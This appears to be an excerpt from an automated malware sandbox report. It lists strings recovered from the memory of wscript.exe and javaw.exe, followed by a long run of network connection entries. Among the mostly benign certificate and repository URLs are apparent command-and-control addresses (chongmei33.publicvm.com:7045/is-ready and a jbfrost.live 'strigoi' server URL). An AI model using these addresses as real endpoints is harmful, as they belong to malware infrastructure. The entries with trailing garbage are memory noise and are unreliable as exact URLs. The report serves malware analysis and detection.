Source: wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387784576.000001F2AE8FC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388054789.000001F2AE903000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387944449.000001F2AE901000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com/
Source: wscript.exe, 0000000E.00000002.2975324132.000001F2AE9C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/7=si-
Source: wscript.exe, 0000000E.00000002.2975324132.000001F2AE9C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974794572.000001F2AE8F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974393312.000001F2AE8A8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974393312.000001F2AE8AE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-ready
Source: wscript.exe, 0000000E.00000003.2387552603.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-ready$
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2974155390.00000296C1E3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974794572.000001F2AE8F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-ready.
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387552603.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-ready1ad4
Source: wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-ready3
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-ready4J
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-ready7
Source: wscript.exe, 0000000E.00000002.2974393312.000001F2AE8E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-ready?
Source: wscript.exe, 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyAccept
Source: wscript.exe, 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyD
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974393312.000001F2AE8E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyG
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974393312.000001F2AE8E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyK
Source: wscript.exe, 0000000E.00000002.2975764015.000001F2AF105000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyN
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyOi
Source: wscript.exe, 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyS
Source: wscript.exe, 00000005.00000002.2974155390.00000296C1E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyStat
Source: wscript.exe, 0000000E.00000002.2975000160.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyad4
Source: wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyata
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyc
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readycvm.com:7045/is-ready
Source: wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readycvm.com:7045/is-readyD
Source: wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyd
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2974155390.00000296C1E3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974794572.000001F2AE8F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readydob.js
Source: wscript.exe, 0000000E.00000003.2387552603.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readygsl
Source: wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyi
Source: wscript.exe, 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readym
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyo
Source: wscript.exe, 0000000E.00000003.2387552603.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyows
Source: wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readyr
Source: wscript.exe, 0000000E.00000002.2974794572.000001F2AE8F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://chongmei33.publicvm.com:7045/is-readys
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009E04000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009E04000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D68000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://java.oracle.com/
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://null.oracle.com/
Source: javaw.exe, 00000004.00000003.1787857908.00000000153ED000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2650338091.00000000153ED000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2041207208.00000000153EC000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2446540782.00000000153ED000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2294513688.00000000153EC000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.3049323493.00000000153EC000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2041525743.00000000153EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://null.oracle.com/)
Source: javaw.exe, 00000004.00000002.2977567936.0000000009DFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D68000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009D95000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.allatori.com
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: javaw.exe, 00000004.00000002.2974688080.0000000004AD1000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004A0D000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004B34000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004C2D000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004858000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004942000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: javaw.exe, 00000004.00000002.2974688080.0000000004942000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/kristian/system-hook/releases/download/3.5/system-hook-3.5.jar
Source: wscript.exe, 00000000.00000003.1718408779.00000270DCE43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1720071879.00000270DCE46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comP
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: javaw.exe, 00000004.00000002.2974688080.00000000049A6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004B03000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.00000000048DF000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004A3F000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004823000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004AA2000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004800000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004C5F000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004BC8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.00000000048C1000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004973000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.00000000049D8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004911000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.000000000488C000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004A71000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004B65000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004BFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://repo1.maven.org
Source: javaw.exe, 00000004.00000002.2974688080.0000000004B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://repo1.maven.org/maven2/net/java/dev/jna/jna-platform/5.5.0/jna-platform-5.5.0.jar
Source: javaw.exe, 00000004.00000002.2974688080.00000000049D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.5.0/jna-5.5.0.jar
Source: javaw.exe, 00000004.00000002.2974688080.0000000004BFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.14.2.1/sqlite-jdbc-3.14.2.1.jar
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://repository.luxtrust.lu
Source: javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://repository.luxtrust.lu0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
